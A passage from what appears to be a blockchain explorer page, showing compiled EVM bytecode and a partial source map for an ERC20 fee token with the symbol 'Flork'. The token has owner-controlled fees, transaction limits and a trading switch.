825f0361170457505f610476565b5f61170f83856119f7565b90508261171c8583611a90565b146110f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b5f6020808352835180828501525f5b8181101561179e57858101830151858201604001528201611782565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146117d2575f80fd5b50565b5f80604083850312156117e6575f80fd5b82356117f1816117be565b946020939093013593505050565b5f805f60608486031215611811575f80fd5b833561181c816117be565b9250602084013561182c816117be565b929592945050506040919091013590565b5f6020828403121561184d575f80fd5b81356110f7816117be565b5f60208284031215611868575f80fd5b5035919050565b5f805f60408486031215611881575f80fd5b833567ffffffffffffffff80821115611898575f80fd5b818601915086601f8301126118ab575f80fd5b8135818111156118b9575f80fd5b8760208260051b85010111156118cd575f80fd5b6020928301955093505084013580151581146118e7575f80fd5b809150509250925092565b5f8060408385031215611903575f80fd5b823561190e816117be565b9150602083013561191e816117be565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161199757611997611972565b5060010190565b5f602082840312156119ae575f80fd5b81516110f7816117be565b5f805f606084860312156119cb575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561047657610476611972565b808202811582820484141761047657610476611972565b8181038181111561047657610476611972565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a6f5784516001600160a01b031683529383019391830191600101611a4a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611aaa57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c43cecbaa496165a431dd2d7eccd3ea566c9c1178324aab4fe2df7b61d1f8ec664736f6c63430008140033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c80637d1db4a5116100b3578063a9059cbb1161006d578063a9059cbb1461039e578063c492f046146103bd578063dd62ed3e146103dc578063ea1644d514610420578063ed9953071461043f578063f2fde38b14610447575f80fd5b80637d1db4a5146102f85780638a8c523c1461030d5780638da5cb5b146103215780638f9a55c01461033d57806395d89b411461035257806398a5c3151461037f575f80fd5b8063313ce56711610104578063313ce5671461025657806349bd5a5e1461027157806370a0823114610290578063715018a6146102af57806374010ece146102c5578063751039fc146102e4575f80fd5b806306fdde0314610155578063095ea7b3146101985780631694505e146101c757806318160ddd146101fe57806323b872dd146102225780632fd689e314610241575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600981526829b7b1b59026b7b7b760b91b60208201525b60405161018f9190611773565b60405180910390f35b3480156101a3575f80fd5b506101b76101b23660046117d5565b610466565b604051901515815260200161018f565b3480156101d2575f80fd5b506012546101e6906001600160a01b031681565b6040516001600160a01b03909116815260200161018f565b348015610209575f80fd5b50670de0b6b3a76400005b60405190815260200161018f565b34801561022d575f80fd5b506101b761023c3660046117ff565b61047c565b34801561024c575f80fd5b5061021460165481565b348015610261575f80fd5b506040516009815260200161018f565b34801561027c575f80fd5b506013546101e6906001600160a01b031681565b34801561029b575f80fd5b506102146102aa36600461183d565b6104e3565b3480156102ba575f80fd5b506102c3610504565b005b3480156102d0575f80fd5b506102c36102df366004611858565b61057e565b3480156102ef575f80fd5b506102c36105ac565b348015610303575f80fd5b5061021460145481565b348015610318575f80fd5b506102c36105eb565b34801561032c575f80fd5b505f546001600160a01b03166101e6565b348015610348575f80fd5b5061021460155481565b34801561035d575f80fd5b50604080518082019091526005815264466c6f726b60d81b6020820152610182565b34801561038a575f80fd5b506102c3610399366004611858565b61062f565b3480156103a9575f80fd5b506101b76103b83660046117d5565b61065d565b3480156103c8575f80fd5b506102c36103d736600461186f565b610669565b3480156103e7575f80fd5b506102146103f63660046118f2565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561042b575f80fd5b506102c361043a366004611858565b610706565b6102c3610734565b348015610452575f80fd5b506102c361046136600461183d565b61099b565b5f610472338484610a82565b5060015b92915050565b5f610488848484610ba5565b6104d984336104d485604051806060016040528060288152602001611ab0602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906110a9565b610a82565b5060019392505050565b6001600160a01b0381165f90815260026020526040812054610476906110e1565b5f546001600160a01b031633146105365760405162461bcd60e51b815260040161052d90611929565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105a75760405162461bcd60e51b815260040161052d90611929565b601455565b5f546001600160a01b031633146105d55760405162461bcd60e51b815260040161052d90611929565b5f19601481905560155560016009819055600b55565b5f546001600160a01b031633146106145760405162461bcd60e51b815260040161052d90611929565b6013805463ff0000ff60a01b1916630100000160a01b179055565b5f546001600160a01b031633146106585760405162461bcd60e51b815260040161052d90611929565b601655565b5f610472338484610ba5565b5f546001600160a01b031633146106925760405162461bcd60e51b815260040161052d90611929565b5f5b82811015610700578160055f8686858181106106b2576106b261195e565b90506020020160208101906106c7919061183d565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806106f881611986565b915050610694565b50505050565b5f546001600160a01b0316331461072f5760405162461bcd60e51b815260040161052d90611929565b601555565b5f546001600160a01b0316331461075d5760405162461bcd60e51b815260040161052d90611929565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156107c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e4919061199e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561082f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610853919061199e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561089d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c1919061199e565b601380546001600160a01b0319166001600160a01b03928316179055305f818152600460209081526040808320601280548716855292529091205f199055549091169063f305d719903490610915816104e3565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f6044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610976573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061070091906119b9565b5f546001600160a01b031633146109c45760405162461bcd60e51b815260040161052d90611929565b6001600160a01b038116610a295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ae45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b038216610b455760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b038216610c6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b5f8111610ccc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b6001600160a01b0383165f9081526005602052604090205460ff16158015610d0c57506001600160a01b0382165f9081526005602052604090205460ff16155b15610f6557601354600160a01b900460ff16610da4575f546001600160a01b03848116911614610da45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052d565b601454811115610df65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161052d565b6013546001600160a01b03838116911614610e7b5760155481610e18846104e3565b610e2291906119e4565b10610e7b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161052d565b5f610e85306104e3565b905080158015908190610ea25750601354600160a81b900460ff16155b8015610ebc57506013546001600160a01b03868116911614155b8015610ed15750601354600160b81b900460ff165b8015610ef557506001600160a01b0385165f9081526005602052604090205460ff16155b8015610f1957506001600160a01b0384165f9081526005602052604090205460ff16155b15610f6257601354610f5090600160b01b900460ff1615610f3b576002610f3e565b60015b610f4b9060ff16846119f7565b6110fe565b478015610f6057610f604761126e565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610fa557506001600160a01b0383165f9081526005602052604090205460ff165b80610fd757506013546001600160a01b03858116911614801590610fd757506013546001600160a01b03848116911614155b1561102357506013545f906001600160a01b03858116911614801561100557506001600160a01b0383163014155b1561101e576013805460ff60b01b1916600160b01b1790555b61109d565b6013546001600160a01b03858116911614801561104e57506012546001600160a01b03848116911614155b1561106057600854600c55600954600d555b6013546001600160a01b03848116911614801561108b57506012546001600160a01b03858116911614155b1561109d57600a54600c55600b54600d555b610700848484846112a9565b5f81848411156110cc5760405162461bcd60e51b815260040161052d9190611773565b505f6110d88486611a0e565b95945050505050565b5f806110eb6112ec565b90506110f7838261130d565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111445761114461195e565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561119b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111bf919061199e565b816001815181106111d2576111d261195e565b6001600160a01b0392831660209182029290920101526012546111f89130911684610a82565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112309085905f90869030904290600401611a21565b5f604051808303815f87803b158015611247575f80fd5b505af1158015611259573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112a5573d5f803e3d5ffd5b5050565b806112b6576112b661134e565b6011546112d6908590859085906001600160a01b0380851691161461137b565b8061070057610700600e54600c55600f54600d55565b5f805f6112f761147f565b9092509050611306828261130d565b9250505090565b5f6110f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114be565b600c5415801561135e5750600d54155b1561136557565b600c8054600e55600d8054600f555f9182905555565b5f805f805f8061138b88886114ea565b9550955095509550955095506113cd8660025f8d6001600160a01b03166001600160a01b031681526020019081526020015f205461154e90919063ffffffff16565b6001600160a01b03808c165f9081526002602052604080822093909355908b16815220546113fb908661158f565b6001600160a01b038a165f9081526002602052604090205561141c816115ed565b6114268483611633565b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161146b91815260200190565b60405180910390a350505050505050505050565b6006545f908190670de0b6b3a7640000611499828261130d565b8210156114b557505060065492670de0b6b3a764000092509050565b90939092509050565b5f81836114de5760405162461bcd60e51b815260040161052d9190611773565b505f6110d88486611a90565b5f805f805f805f805f6115028b600c54600d54611657565b9250925092505f6115116112ec565b90505f805f6115228f8787876116a9565b9250925092508d15611534575f611536565b825b9f919e509c50949a5092985090965091945050505050565b5f6110f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a9565b5f8061159b83856119e4565b9050838110156110f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b5f6115f66112ec565b90505f61160383836116f5565b305f9081526002602052604090205490915061161f908261158f565b305f90815260026020526040902055505050565b600654611640908361154e565b600655600754611650908261158f565b6007555050565b5f808080611670606461166a89896116f5565b9061130d565b90505f611682606461166a8a896116f5565b90505f611699826116938b8661154e565b9061154e565b9992985090965090945050505050565b5f8080806116b788866116f5565b90505f6116c488876116f5565b90505f6116d188886116f5565b90505f6116e282611693868661154e565b939b939a50919850919650505050505050565b5f825f0361170457505f610476565b5f61170f83856119f7565b90508261171c8583611a90565b146110f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b5f6020808352835180828501525f5b8181101561179e57858101830151858201604001528201611782565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146117d2575f80fd5b50565b5f80604083850312156117e6575f80fd5b82356117f1816117be565b946020939093013593505050565b5f805f60608486031215611811575f80fd5b833561181c816117be565b9250602084013561182c816117be565b929592945050506040919091013590565b5f6020828403121561184d575f80fd5b81356110f7816117be565b5f60208284031215611868575f80fd5b5035919050565b5f805f60408486031215611881575f80fd5b833567ffffffffffffffff80821115611898575f80fd5b818601915086601f8301126118ab575f80fd5b8135818111156118b9575f80fd5b8760208260051b85010111156118cd575f80fd5b6020928301955093505084013580151581146118e7575f80fd5b809150509250925092565b5f8060408385031215611903575f80fd5b823561190e816117be565b9150602083013561191e816117be565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161199757611997611972565b5060010190565b5f602082840312156119ae575f80fd5b81516110f7816117be565b5f805f606084860312156119cb575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561047657610476611972565b808202811582820484141761047657610476611972565b8181038181111561047657610476611972565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a6f5784516001600160a01b031683529383019391830191600101611a4a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611aaa57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c43cecbaa496165a431dd2d7eccd3ea566c9c1178324aab4fe2df7b61d1f8ec664736f6c63430008140033

Deployed Bytecode Sourcemap

4213:12790:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6415:83;;;;;;;;;;-1:-1:-1;6485:5:0;;;;;;;;;;;;-1:-1:-1;;;6485:5:0;;;;6415:83;;;;;;;:::i;:::-;;;;;;;;7347:193;;;;;;;;;;-1:-1:-1;7347:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7347:193:0;1023:187:1;5468:41:0;;;;;;;;;;-1:-1:-1;5468:41:0;;;;-1:-1:-1;;;;;5468:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5468:41:0;1215:229:1;6695:95:0;;;;;;;;;;-1:-1:-1;4771:21:0;6695:95;;;1595:25:1;;;1583:2;1568:18;6695:95:0;1449:177:1;7549:446:0;;;;;;;;;;-1:-1:-1;7549:446:0;;;;;:::i;:::-;;:::i;5853:54::-;;;;;;;;;;;;;;;;6603:83;;;;;;;;;;-1:-1:-1;6603:83:0;;4446:1;2234:36:1;;2222:2;2207:18;6603:83:0;2092:184:1;5516:28:0;;;;;;;;;;-1:-1:-1;5516:28:0;;;;-1:-1:-1;;;;;5516:28:0;;;6799:138;;;;;;;;;;-1:-1:-1;6799:138:0;;;;;:::i;:::-;;:::i;2904:148::-;;;;;;;;;;;;;:::i;:::-;;15386:111;;;;;;;;;;-1:-1:-1;15386:111:0;;;;;:::i;:::-;;:::i;11897:186::-;;;;;;;;;;;;;:::i;5711:52::-;;;;;;;;;;;;;;;;16311:108;;;;;;;;;;;;;:::i;2688:79::-;;;;;;;;;;-1:-1:-1;2726:7:0;2753:6;-1:-1:-1;;;;;2753:6:0;2688:79;;5782:54;;;;;;;;;;;;;;;;6507:87;;;;;;;;;;-1:-1:-1;6579:7:0;;;;;;;;;;;;-1:-1:-1;;;6579:7:0;;;;6507:87;;15207:139;;;;;;;;;;-1:-1:-1;15207:139:0;;;;;:::i;:::-;;:::i;6946:199::-;;;;;;;;;;-1:-1:-1;6946:199:0;;;;;:::i;:::-;;:::i;15630:235::-;;;;;;;;;;-1:-1:-1;15630:235:0;;;;;:::i;:::-;;:::i;7154:184::-;;;;;;;;;;-1:-1:-1;7154:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7303:18:0;;;7271:7;7303:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7154:184;15506:115;;;;;;;;;;-1:-1:-1;15506:115:0;;;;;:::i;:::-;;:::i;16427:573::-;;;:::i;3061:244::-;;;;;;;;;;-1:-1:-1;3061:244:0;;;;;:::i;:::-;;:::i;7347:193::-;7449:4;7471:39;2282:10;7494:7;7503:6;7471:8;:39::i;:::-;-1:-1:-1;7528:4:0;7347:193;;;;;:::o;7549:446::-;7681:4;7698:36;7708:6;7716:9;7727:6;7698:9;:36::i;:::-;7745:220;7768:6;2282:10;7816:138;7872:6;7816:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7816:19:0;;;;;;:11;:19;;;;;;;;2282:10;7816:33;;;;;;;;;;:37;:138::i;:::-;7745:8;:220::i;:::-;-1:-1:-1;7983:4:0;7549:446;;;;;:::o;6799:138::-;-1:-1:-1;;;;;6912:16:0;;6865:7;6912:16;;;:7;:16;;;;;;6892:37;;:19;:37::i;2904:148::-;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;;;;;;;;;3011:1:::1;2995:6:::0;;2974:40:::1;::::0;-1:-1:-1;;;;;2995:6:0;;::::1;::::0;2974:40:::1;::::0;3011:1;;2974:40:::1;3042:1;3025:19:::0;;-1:-1:-1;;;;;;3025:19:0::1;::::0;;2904:148::o;15386:111::-;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;15463:12:::1;:26:::0;15386:111::o;11897:186::-;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;-1:-1:-1;;11949:12:0::1;:29:::0;;;11989:14:::1;:31:::0;12046:1:::1;12031:12;:16:::0;;;-1:-1:-1;12058:17:0;11897:186::o;16311:108::-;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;16364:11:::1;:18:::0;;-1:-1:-1;;;;16393:18:0;-1:-1:-1;;;16393:18:0;;;16311:108::o;15207:139::-;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;15298:19:::1;:40:::0;15207:139::o;6946:199::-;7051:4;7073:42;2282:10;7097:9;7108:6;7073:9;:42::i;15630:235::-;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;15747:9:::1;15743:115;15762:19:::0;;::::1;15743:115;;;15838:8;15803:19;:32;15823:8;;15832:1;15823:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15803:32:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;15803:32:0;:43;;-1:-1:-1;;15803:43:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15783:3;::::1;::::0;::::1;:::i;:::-;;;;15743:115;;;;15630:235:::0;;;:::o;15506:115::-;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;15583:14:::1;:30:::0;15506:115::o;16427:573::-;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;16601:15:::1;:34:::0;;-1:-1:-1;;;;;;16601:34:0::1;16547:42;16601:34:::0;;::::1;::::0;;;16680:26:::1;::::0;;-1:-1:-1;;;16680:26:0;;;;16547:42;;16680:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;16547:42;16680:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16662:70:0::1;;16741:4;16748:16;-1:-1:-1::0;;;;;16748:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16662:110;::::0;-1:-1:-1;;;;;;16662:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5357:15:1;;;16662:110:0::1;::::0;::::1;5339:34:1::0;5409:15;;5389:18;;;5382:43;5274:18;;16662:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16646:13;:126:::0;;-1:-1:-1;;;;;;16646:126:0::1;-1:-1:-1::0;;;;;16646:126:0;;::::1;;::::0;;16813:4:::1;-1:-1:-1::0;16793:26:0;;;:11:::1;:26;::::0;;;;;;;16828:15:::1;::::0;;;::::1;16793:52:::0;;;;;;;-1:-1:-1;;16793:66:0;;16872:15;;;::::1;::::0;:31:::1;::::0;16911:9:::1;::::0;16936:24:::1;16813:4:::0;16936:9:::1;:24::i;:::-;16872:120;::::0;-1:-1:-1;;;;;;16872:120:0::1;::::0;;;;;;-1:-1:-1;;;;;5795:15:1;;;16872:120:0::1;::::0;::::1;5777:34:1::0;5827:18;;;5820:34;16961:1:0::1;5870:18:1::0;;;5863:34;;;5913:18;;;5906:34;16965:10:0::1;5956:19:1::0;;;5949:44;16976:15:0::1;6009:19:1::0;;;6002:35;5711:19;;16872:120:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;3061:244::-:0;2816:6;;-1:-1:-1;;;;;2816:6:0;2282:10;2816:22;2808:67;;;;-1:-1:-1;;;2808:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3150:22:0;::::1;3142:73;;;::::0;-1:-1:-1;;;3142:73:0;;6561:2:1;3142:73:0::1;::::0;::::1;6543:21:1::0;6600:2;6580:18;;;6573:30;6639:34;6619:18;;;6612:62;-1:-1:-1;;;6690:18:1;;;6683:36;6736:19;;3142:73:0::1;6359:402:1::0;3142:73:0::1;3252:6;::::0;;3231:38:::1;::::0;-1:-1:-1;;;;;3231:38:0;;::::1;::::0;3252:6;::::1;::::0;3231:38:::1;::::0;::::1;3280:6;:17:::0;;-1:-1:-1;;;;;;3280:17:0::1;-1:-1:-1::0;;;;;3280:17:0;;;::::1;::::0;;;::::1;::::0;;3061:244::o;8571:369::-;-1:-1:-1;;;;;8698:19:0;;8690:68;;;;-1:-1:-1;;;8690:68:0;;6968:2:1;8690:68:0;;;6950:21:1;7007:2;6987:18;;;6980:30;7046:34;7026:18;;;7019:62;-1:-1:-1;;;7097:18:1;;;7090:34;7141:19;;8690:68:0;6766:400:1;8690:68:0;-1:-1:-1;;;;;8777:21:0;;8769:68;;;;-1:-1:-1;;;8769:68:0;;7373:2:1;8769:68:0;;;7355:21:1;7412:2;7392:18;;;7385:30;7451:34;7431:18;;;7424:62;-1:-1:-1;;;7502:18:1;;;7495:32;7544:19;;8769:68:0;7171:398:1;8769:68:0;-1:-1:-1;;;;;8848:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8900:32;;1595:25:1;;;8900:32:0;;1568:18:1;8900:32:0;;;;;;;8571:369;;;:::o;8949:2347::-;-1:-1:-1;;;;;9071:18:0;;9063:68;;;;-1:-1:-1;;;9063:68:0;;7776:2:1;9063:68:0;;;7758:21:1;7815:2;7795:18;;;7788:30;7854:34;7834:18;;;7827:62;-1:-1:-1;;;7905:18:1;;;7898:35;7950:19;;9063:68:0;7574:401:1;9063:68:0;-1:-1:-1;;;;;9150:16:0;;9142:64;;;;-1:-1:-1;;;9142:64:0;;8182:2:1;9142:64:0;;;8164:21:1;8221:2;8201:18;;;8194:30;8260:34;8240:18;;;8233:62;-1:-1:-1;;;8311:18:1;;;8304:33;8354:19;;9142:64:0;7980:399:1;9142:64:0;9234:1;9225:6;:10;9217:64;;;;-1:-1:-1;;;9217:64:0;;8586:2:1;9217:64:0;;;8568:21:1;8625:2;8605:18;;;8598:30;8664:34;8644:18;;;8637:62;-1:-1:-1;;;8715:18:1;;;8708:39;8764:19;;9217:64:0;8384:405:1;9217:64:0;-1:-1:-1;;;;;9300:25:0;;;;;;:19;:25;;;;;;;;9299:26;:54;;;;-1:-1:-1;;;;;;9330:23:0;;;;;;:19;:23;;;;;;;;9329:24;9299:54;9295:1189;;;9411:11;;-1:-1:-1;;;9411:11:0;;;;9406:144;;2726:7;2753:6;-1:-1:-1;;;;;9451:15:0;;;2753:6;;9451:15;9443:91;;;;-1:-1:-1;;;9443:91:0;;8996:2:1;9443:91:0;;;8978:21:1;9035:2;9015:18;;;9008:30;9074:34;9054:18;;;9047:62;9145:33;9125:18;;;9118:61;9196:19;;9443:91:0;8794:427:1;9443:91:0;9585:12;;9575:6;:22;;9567:63;;;;-1:-1:-1;;;9567:63:0;;9428:2:1;9567:63:0;;;9410:21:1;9467:2;9447:18;;;9440:30;9506;9486:18;;;9479:58;9554:18;;9567:63:0;9226:352:1;9567:63:0;9657:13;;-1:-1:-1;;;;;9651:19:0;;;9657:13;;9651:19;9648:146;;9724:14;;9715:6;9699:13;9709:2;9699:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9691:87;;;;-1:-1:-1;;;9691:87:0;;9915:2:1;9691:87:0;;;9897:21:1;9954:2;9934:18;;;9927:30;9993:34;9973:18;;;9966:62;-1:-1:-1;;;10044:18:1;;;10037:33;10087:19;;9691:87:0;9713:399:1;9691:87:0;9811:28;9842:24;9860:4;9842:9;:24::i;:::-;9811:55;-1:-1:-1;9896:24:0;;;;;;;9960:36;;-1:-1:-1;9990:6:0;;-1:-1:-1;;;9990:6:0;;;;9989:7;9960:36;:79;;;;-1:-1:-1;10026:13:0;;-1:-1:-1;;;;;10018:21:0;;;10026:13;;10018:21;;9960:79;:112;;;;-1:-1:-1;10061:11:0;;-1:-1:-1;;;10061:11:0;;;;9960:112;:160;;;;-1:-1:-1;;;;;;10095:25:0;;;;;;:19;:25;;;;;;;;10094:26;9960:160;:206;;;;-1:-1:-1;;;;;;10143:23:0;;;;;;:19;:23;;;;;;;;10142:24;9960:206;9938:535;;;10243:11;;10201:62;;-1:-1:-1;;;10243:11:0;;;;10242:12;:19;;10260:1;10242:19;;;10257:1;10242:19;10218:44;;;;:20;:44;:::i;:::-;10201:16;:62::i;:::-;10311:21;10356:22;;10352:106;;10403:35;10416:21;10403:12;:35::i;:::-;10182:291;9938:535;9355:1129;;9295:1189;-1:-1:-1;;;;;10562:25:0;;10497:12;10562:25;;;:19;:25;;;;;;10512:4;;10562:25;;;:52;;-1:-1:-1;;;;;;10591:23:0;;;;;;:19;:23;;;;;;;;10562:52;10561:104;;;-1:-1:-1;10628:13:0;;-1:-1:-1;;;;;10620:21:0;;;10628:13;;10620:21;;;;:44;;-1:-1:-1;10651:13:0;;-1:-1:-1;;;;;10645:19:0;;;10651:13;;10645:19;;10620:44;10557:677;;;-1:-1:-1;10725:13:0;;10692:5;;-1:-1:-1;;;;;10717:21:0;;;10725:13;;10717:21;:44;;;;-1:-1:-1;;;;;;10742:19:0;;10756:4;10742:19;;10717:44;10714:67;;;10763:11;:18;;-1:-1:-1;;;;10763:18:0;-1:-1:-1;;;10763:18:0;;;10714:67;10557:677;;;10857:13;;-1:-1:-1;;;;;10849:21:0;;;10857:13;;10849:21;:55;;;;-1:-1:-1;10888:15:0;;-1:-1:-1;;;;;10874:30:0;;;10888:15;;10874:30;;10849:55;10846:162;;;10937:14;;10925:9;:26;10980:12;;10970:7;:22;10846:162;11068:13;;-1:-1:-1;;;;;11062:19:0;;;11068:13;;11062:19;:55;;;;-1:-1:-1;11101:15:0;;-1:-1:-1;;;;;11085:32:0;;;11101:15;;11085:32;;11062:55;11058:165;;;11150:15;;11138:9;:27;11194:13;;11184:7;:23;11058:165;11247:41;11262:4;11268:2;11272:6;11280:7;11247:14;:41::i;547:224::-;667:7;703:12;695:6;;;;687:29;;;;-1:-1:-1;;;687:29:0;;;;;;;;:::i;:::-;-1:-1:-1;727:9:0;739:5;743:1;739;:5;:::i;:::-;727:17;547:224;-1:-1:-1;;;;;547:224:0:o;8004:202::-;8099:7;8124:19;8146:10;:8;:10::i;:::-;8124:32;-1:-1:-1;8174:24:0;:7;8124:32;8174:11;:24::i;:::-;8167:31;8004:202;-1:-1:-1;;;8004:202:0:o;11305:483::-;6014:6;:13;;-1:-1:-1;;;;6014:13:0;-1:-1:-1;;;6014:13:0;;;11407:16:::1;::::0;;11421:1:::1;11407:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11407:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0